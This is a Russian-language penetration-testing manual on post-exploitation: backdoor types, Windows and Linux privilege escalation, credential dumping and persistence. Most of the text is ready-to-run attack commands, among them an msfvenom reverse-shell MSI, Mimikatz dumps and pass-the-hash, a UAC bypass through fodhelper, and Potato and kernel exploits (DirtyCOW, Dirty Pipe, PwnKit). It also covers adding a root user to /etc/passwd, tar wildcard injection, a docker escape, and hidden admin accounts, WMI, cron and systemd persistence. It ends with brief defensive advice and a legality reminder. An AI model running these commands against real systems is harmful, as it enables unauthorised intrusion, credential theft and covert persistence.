После успешной компрометации целевой системы наступает этап пост-эксплуатации, который включает:
- Закрепление в системе (установка бэкдоров)
- Повышение привилегий
- Сбор учетных данных
- Lateral movement (перемещение по сети)
- Эксфильтрацию данных
Данная методичка охватывает основные техники и инструменты для выполнения этих задач.
Бэкдоры
Определение
Бэкдор (backdoor) — программа или метод скрытого удаленного администрирования, предоставляющий несанкционированный доступ к скомпрометированной системе.
Основные характеристики бэкдора
- Скрытность — сложно обнаружить
- Многократное использование — можно использовать повторно
- Отрицаемость — выглядит как ошибка конфигурации
- Защита секретом — активируется только при знании специального триггера
- Защита от компрометации — сложно определить историю использования
- Уникальность — сложно повторить в другой системе
Типы бэкдоров
1. Аппаратные бэкдоры
Встраиваются на уровне оборудования:
-
Модифицированная прошивка BIOS/UEFI
- Загружаются до запуска ОС
- Не обнаруживаются антивирусами
- Не удаляются переустановкой ОС
- Пример: вредоносные модули на базе Coreboot/SeaBIOS
-
Вредоносные компоненты
- Модифицированные сетевые карты
- Зараженные USB-контроллеры
- Компрометированные HDD/SSD прошивки
Защита:
- Использование trusted boot
- Регулярная проверка прошивок
- Закупка оборудования у проверенных поставщиков
2. Программные бэкдоры
Устанавливаются на уровне ОС или приложений:
Способы доставки:
- Вложения в email
- Эксплуатация уязвимостей ПО
- Социальная инженерия
- Троянизированные программы
Типы соединения:
-
Bind Shell (клиент-сервер)
- Бэкдор прослушивает порт
- Атакующий подключается к жертве
- Может блокироваться файрволом
-
Reverse Shell (обратное подключение)
- Бэкдор сам подключается к атакующему
- Обходит большинство файрволов
- Наиболее популярный метод
-
Middle Connect (через прокси-сервер)
- Обмен данными через промежуточный сервер
- Усложняет обнаружение
- Требует инфраструктуры
Примеры современных бэкдоров:
- Cobalt Strike Beacon
- Metasploit Meterpreter
- Empire/Starkiller
- Sliver C2
- Mythic C2
Повышение привилегий в Windows
Общие принципы
Windows требует административных привилегий для выполнения критичных операций. Повышение привилегий — процесс получения прав SYSTEM или администратора из непривилегированной учетной записи.
1. Автоматизированное сканирование уязвимостей
PowerUp (PowerSploit)
# Загрузка модуля
Import-Module .\PowerUp.ps1
# Запуск всех проверок
Invoke-AllChecks
# Выполнение найденных эксплоитов
Invoke-AllChecks | Out-File powerup_output.txt
PrivescCheck
Современная замена PowerUp:
# Загрузка
. .\PrivescCheck.ps1
# Базовая проверка
Invoke-PrivescCheck
# Расширенная проверка
Invoke-PrivescCheck -Extended
# Экспорт в HTML
Invoke-PrivescCheck -Report PrivescCheck.html -Format HTML
WinPEAS
# Запуск проверки
winPEASx64.exe
# Быстрая проверка
winPEASx64.exe fast
# Детальная проверка
winPEASx64.exe systeminfo
2. Поиск учетных данных
Охота за паролями в системе
Unattended Installations
Файлы автоматической установки могут содержать пароли:
# Поиск файлов Unattend
dir /s C:\Windows\Panther\Unattend.xml
dir /s C:\Windows\System32\sysprep\unattend.xml
# Поиск в реестре
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Group Policy Preferences (GPP)
До 2014 года Microsoft хранил пароли в GPP с известным ключом шифрования:
# Поиск cpassword в SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\*.xml
# Расшифровка (используя gpp-decrypt)
gpp-decrypt <encrypted_password>
Метод устарел, но встречается на старых системах.
Поиск credentials в памяти
Mimikatz
# Запуск
mimikatz.exe
# Повышение привилегий
privilege::debug
# Дамп учетных данных
sekurlsa::logonpasswords
# Дамп хешей SAM
lsadump::sam
# Pass-the-Hash
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:hash /run:cmd
Pypykatz (альтернатива на Python):
pypykatz lsa minidump lsass.dmp
Поиск сохраненных паролей
# Сохраненные учетные данные Windows
cmdkey /list
# Использование сохраненных credentials
runas /savecred /user:DOMAIN\Admin cmd.exe
# Поиск в конфигурационных файлах
findstr /si password *.xml *.ini *.txt *.config
3. Проверка разрешений
AlwaysInstallElevated
Политика, позволяющая устанавливать MSI пакеты с правами SYSTEM:
# Проверка наличия уязвимости
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Если оба ключа установлены в 1, создаем malicious MSI:
# Kali: Создание вредоносного MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o evil.msi
# Windows: Установка
msiexec /quiet /qn /i evil.msi
Неквотированные пути служб (Unquoted Service Paths)
Windows интерпретирует пути с пробелами некорректно:
C:\Program Files\Some Folder\service.exe
# Windows пытается запустить в порядке:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\service.exe
Поиск уязвимых служб:
# CMD
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notlike '*"*' -and $_.PathName -like '* *'} | Select Name, PathName, StartMode
Эксплуатация:
- Проверить права на запись в директорию
- Поместить вредоносный exe на путь
- Перезапустить службу или систему
# Проверка прав
icacls "C:\Program Files\Vulnerable App"
# Если есть права на запись
copy payload.exe "C:\Program Files\Common.exe"
# Перезапуск службы
sc stop VulnerableService
sc start VulnerableService
4. Манипуляции со службами
Слабые разрешения на службы
Поиск служб с изменяемой конфигурацией:
# AccessChk (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
# PowerShell
Get-Acl HKLM:\System\CurrentControlSet\Services\* | Format-List
Изменение пути к исполняемому файлу службы:
# Просмотр конфигурации службы
sc qc VulnerableService
# Изменение пути
sc config VulnerableService binPath= "C:\Temp\payload.exe"
# Изменение учетной записи
sc config VulnerableService obj= ".\LocalSystem" password= ""
# Перезапуск
sc stop VulnerableService
sc start VulnerableService
Слабые разрешения на файлы служб
Если исполняемый файл службы доступен для записи:
# Проверка прав
icacls "C:\Program Files\Service\service.exe"
# Замена файла
copy /Y payload.exe "C:\Program Files\Service\service.exe"
# Перезапуск службы
sc stop ServiceName
sc start ServiceName
5. Планировщик задач
Использование AT (устарело в Windows 10+):
# Запуск команды в 14:00 с правами SYSTEM
at 14:00 /interactive cmd.exe
Использование schtasks:
# Создание задачи
schtasks /create /tn "WindowsUpdate" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM
# Запуск задачи
schtasks /run /tn "WindowsUpdate"
# Удаление задачи
schtasks /delete /tn "WindowsUpdate" /f
6. Эксплуатация уязвимостей ядра
Sherlock - поиск уязвимостей
# Загрузка
Import-Module .\Sherlock.ps1
# Поиск всех уязвимостей
Find-AllVulns
# Поиск конкретной уязвимости
Find-MS16032
Проверяемые уязвимости:
- MS10-015 (KiTrap0D)
- MS10-092 (Task Scheduler)
- MS13-053 (NTUserMessageCall)
- MS13-081 (TrackPopupMenuEx)
- MS14-058 (TrackPopupMenu)
- MS15-051 (ClientCopyImage)
- MS15-078 (Font Driver)
- MS16-016 (WebDAV)
- MS16-032 (Secondary Logon Handle)
- MS16-034 (Kernel Driver)
Современные техники
PrintNightmare (CVE-2021-1675)
# Использование через Metasploit
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
set RHOSTS <target>
set LHOST <attacker>
exploit
HiveNightmare/SeriousSAM (CVE-2021-36934)
# Копирование SAM и SYSTEM
copy %WINDIR%\System32\config\SAM C:\Temp\SAM
copy %WINDIR%\System32\config\SYSTEM C:\Temp\SYSTEM
# Извлечение хешей (на Kali)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
7. Bypass UAC
UACME
Набор методов обхода UAC:
# Использование метода #23 (fodhelper)
Akagi64.exe 23 C:\Temp\payload.exe
# Использование метода #33 (sdclt)
Akagi64.exe 33 C:\Temp\payload.exe
FodHelper (ручной обход)
# Создание ключа реестра
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c C:\Temp\payload.exe" -Force
# Запуск fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe"
# Очистка
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
8. Token Manipulation
Potato атаки (устарели, но встречаются на старых системах)
Hot Potato (MS16-075)
# Создание пользователя
potato.exe -ip 192.168.1.100 -cmd "net user hacker Password123! /add" -disable_exhaust true
potato.exe -ip 192.168.1.100 -cmd "net localgroup Administrators hacker /add" -disable_exhaust true
Rotten Potato
# Через Metasploit
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
Juicy Potato (Windows Server 2016/2019)
JuicyPotato.exe -l 1337 -p C:\Temp\payload.exe -t * -c {CLSID}
Printspoofer (Windows 10/Server 2019+)
PrintSpoofer.exe -i -c cmd
9. Компиляция эксплоитов
На Kali Linux
# 32-bit
i686-w64-mingw32-gcc exploit.c -o exploit32.exe -lws2_32
# 64-bit
x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32
На Windows
# Поиск компилятора
where cl.exe
# Компиляция
cl.exe /Fe:exploit.exe exploit.c
10. Получение SYSTEM из администратора
PsExec
# Sysinternals PsExec
psexec.exe -i -s cmd.exe
# Metasploit PsExec
use exploit/windows/local/ps_exec
set SESSION 1
exploit
Планировщик
sc create SystemShell binpath= "cmd.exe /k start" type= own type= interact
sc start SystemShell
Повышение привилегий в Linux
1. Автоматизированное сканирование
LinPEAS
# Загрузка
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Запуск
chmod +x linpeas.sh
./linpeas.sh
# С выводом в файл
./linpeas.sh | tee linpeas_output.txt
LinEnum
# Загрузка
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# Запуск
chmod +x LinEnum.sh
./LinEnum.sh
# Детальный вывод
./LinEnum.sh -t
Linux Exploit Suggester
# Загрузка
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
# Запуск
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
2. Проверка ядра на уязвимости
# Версия ядра
uname -a
cat /proc/version
# Дистрибутив
cat /etc/issue
cat /etc/*-release
lsb_release -a
Известные уязвимости ядра:
- DirtyCOW (CVE-2016-5195) - kernel 2.6.22 - 4.8.3
- Dirty Pipe (CVE-2022-0847) - kernel 5.8 - 5.16.11
- PwnKit (CVE-2021-4034) - PolicyKit
- Baron Samedit (CVE-2021-3156) - sudo < 1.9.5p2
Эксплуатация DirtyCOW:
# Компиляция
gcc -pthread dirty.c -o dirty -lcrypt
# Запуск
./dirty password
# Вход под новым пользователем
su firefart
3. SUID/SGID файлы
Файлы с SUID запускаются с правами владельца:
# Поиск SUID файлов
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Поиск SGID файлов
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# Поиск SUID и SGID
find / -perm -6000 -type f 2>/dev/null
Эксплуатация известных SUID бинарников:
GTFOBins - база знаний по эксплуатации: https://gtfobins.github.io/
Примеры:
# find
find . -exec /bin/sh -p \; -quit
# vim
vim -c ':!/bin/sh'
# nmap (старые версии)
nmap --interactive
!sh
# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# perl
perl -e 'exec "/bin/sh";'
# awk
awk 'BEGIN {system("/bin/sh")}'
# less
less /etc/profile
!/bin/sh
# cp (создание SUID shell)
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
4. Sudo привилегии
# Проверка sudo прав
sudo -l
# Список без пароля
sudo -l -n
Эксплуатация команд с sudo:
# Если разрешен sudo vim
sudo vim -c '!sh'
# Если разрешен sudo find
sudo find . -exec /bin/sh \; -quit
# Если разрешен sudo python
sudo python -c 'import pty;pty.spawn("/bin/bash")'
# Если разрешен sudo /bin/bash
sudo /bin/bash
# Если разрешен sudo /bin/sh
sudo /bin/sh
# Если разрешен sudo nano
sudo nano
# Ctrl+R, Ctrl+X
# reset; sh 1>&0 2>&0
Sudo CVE-2019-14287
Если sudo -l показывает (ALL, !root):
# Эксплуатация
sudo -u#-1 /bin/bash
5. Capabilities
Linux capabilities позволяют давать процессам привилегии без полного root:
# Поиск файлов с capabilities
getcap -r / 2>/dev/null
# Пример вывода
/usr/bin/python3.8 = cap_setuid+ep
Эксплуатация:
# Python с cap_setuid
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# tar с cap_dac_read_search (чтение любых файлов)
tar cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow
6. Cron задачи
# Проверка системных cron задач
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/
# Проверка пользовательских cron
crontab -l
Эксплуатация:
Если скрипт в cron:
- Запускается от root
- Доступен на запись
# Проверка прав
ls -la /path/to/script.sh
# Если есть права на запись
echo 'chmod +s /bin/bash' >> /path/to/script.sh
# Ждем выполнения задачи
# Запускаем SUID bash
/bin/bash -p
7. Слабые права на файлы
Проверка /etc/passwd
# Если есть права на запись
ls -la /etc/passwd
# Генерация пароля
openssl passwd -1 -salt evil password
# Добавление пользователя
echo 'evil:$1$evil$password_hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Вход
su evil
Проверка /etc/shadow
# Если есть права на чтение
cat /etc/shadow
# Копирование для взлома
cat /etc/shadow > /tmp/shadow.txt
# На Kali
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt
8. Writable PATH
Если PATH включает директории с правами на запись:
# Проверка PATH
echo $PATH
# Проверка прав
ls -la /usr/local/bin
# Создание вредоносного файла
cd /writable/path/dir
echo '#!/bin/bash' > ls
echo 'chmod +s /bin/bash' >> ls
chmod +x ls
# Если другой пользователь запустит 'ls'
/bin/bash -p
9. NFS share без root_squash
# На целевой машине
cat /etc/exports
# Если видим no_root_squash
/tmp *(rw,no_root_squash)
# На атакующей машине
mkdir /tmp/nfs
mount -t nfs target:/tmp /tmp/nfs
cd /tmp/nfs
# Создание SUID shell
cp /bin/bash .
chmod +s bash
# На целевой машине
/tmp/bash -p
10. Kernel Exploits
Dirty Pipe (CVE-2022-0847)
# Проверка версии
uname -r
# Уязвимы: 5.8 - 5.16.11, 5.15.25, 5.10.102
# Компиляция
gcc dirty_pipe.c -o exploit
# Эксплуатация
./exploit /etc/passwd 1 ootz:
su rootz
PwnKit (CVE-2021-4034)
# Компиляция
gcc pwnkit.c -o exploit
# Запуск
./exploit
11. Docker escape
Если пользователь в группе docker:
# Проверка
id
groups
# Escape через mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Создание SUID shell
docker run -v /:/mnt --rm -it alpine sh
cd /mnt
chmod +s bin/bash
exit
# На хосте
/bin/bash -p
12. Wildcard injection
Если скрипт использует * с командами:
# Пример уязвимого скрипта от root:
#!/bin/bash
cd /backup
tar czf backup.tar.gz *
# Эксплуатация через создание файлов
cd /backup
echo 'chmod +s /bin/bash' > evil.sh
chmod +x evil.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh evil.sh"
# После выполнения tar
/bin/bash -p
Закрепление в системе
Windows
1. Добавление пользователя
# Создание пользователя
net user hacker Password123! /add
# Добавление в администраторы
net localgroup Administrators hacker /add
# Скрытие пользователя
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker /t REG_DWORD /d 0 /f
2. Persistence через реестр
# Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# RunOnce
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# Startup folder
copy payload.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
3. Scheduled Tasks
# Задача при входе пользователя
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru System
# Задача каждый час
schtasks /create /tn "SecurityUpdate" /tr "C:\Windows\Temp\payload.exe" /sc hourly /ru System
4. Службы
# Создание службы
sc create MaliciousService binPath= "C:\Windows\Temp\payload.exe" start= auto
sc description MaliciousService "Windows Security Update Service"
# Запуск
sc start MaliciousService
5. WMI Event Subscription
# Создание фильтра событий
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = "SystemFilter";
EventNamespace = "root\cimv2";
QueryLanguage = "WQL";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Создание consumer
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "SystemConsumer";
CommandLineTemplate = "C:\Windows\Temp\payload.exe"
}
# Связывание
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter;
Consumer = $Consumer
}
Linux
1. SSH ключи
# Добавление публичного ключа
mkdir -p ~/.ssh
echo 'ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
2. Cron задачи
# Добавление задачи
(crontab -l 2>/dev/null; echo "@reboot /tmp/.backdoor") | crontab -
# Через файл
echo "@reboot /tmp/.backdoor" > /var/spool/cron/crontabs/root
3. .bashrc / .profile
# Добавление в .bashrc
echo '/tmp/.backdoor &' >> ~/.bashrc
# Для всех пользователей
echo '/tmp/.backdoor &' >> /etc/bash.bashrc
4. Systemd service
# Создание сервиса
cat > /etc/systemd/system/malicious.service << EOF
[Unit]
Description=System Update Service
[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Включение
systemctl enable malicious.service
systemctl start malicious.service
5. SUID backdoor
# Создание SUID shell
cp /bin/bash /tmp/.hidden
chmod +s /tmp/.hidden
# Запуск
/tmp/.hidden -p
Рекомендации по безопасности
Для защиты
-
Регулярные обновления
- Устанавливать все security патчи
- Обновлять ядро и критичное ПО
-
Принцип наименьших привилегий
- Не давать sudo всем подряд
- Ограничивать SUID файлы
- Использовать непривилегированных пользователей
-
Мониторинг системы
- Логирование всех команд sudo
- Мониторинг изменений файлов
- Использование SIEM систем
-
Защита от lateral movement
- Сегментация сети
- Ограничение WinRM/SSH
- Использование 2FA
-
Безопасная конфигурация
- Отключить ненужные службы
- Правильная настройка разрешений
- Регулярный аудит системы
Для тестировщиков
-
Легальность
- Получить письменное разрешение
- Работать в рамках scope
- Документировать все действия
-
Осторожность
- Делать backups перед изменениями
- Тестировать эксплоиты на тестовых системах
- Избегать DoS атак
-
Документация
- Записывать все команды
- Делать скриншоты
- Создавать подробные отчеты
-
Очистка
- Удалять backdoors после теста
- Восстанавливать изменения
- Информировать о найденных уязвимостях
Полезные ресурсы
Инструменты
Windows:
Linux:
База знаний
Практика
Заключение
Пост-эксплуатация — критический этап пентеста, требующий:
- Глубоких знаний систем
- Понимания методов защиты
- Аккуратности и осторожности
- Соблюдения этических норм
Данная методичка покрывает основные техники, но безопасность — постоянно развивающаяся область. Следите за новыми уязвимостями, инструментами и методами защиты.
Важно: Используйте полученные знания только для легального тестирования безопасности с письменного разрешения владельцев систем.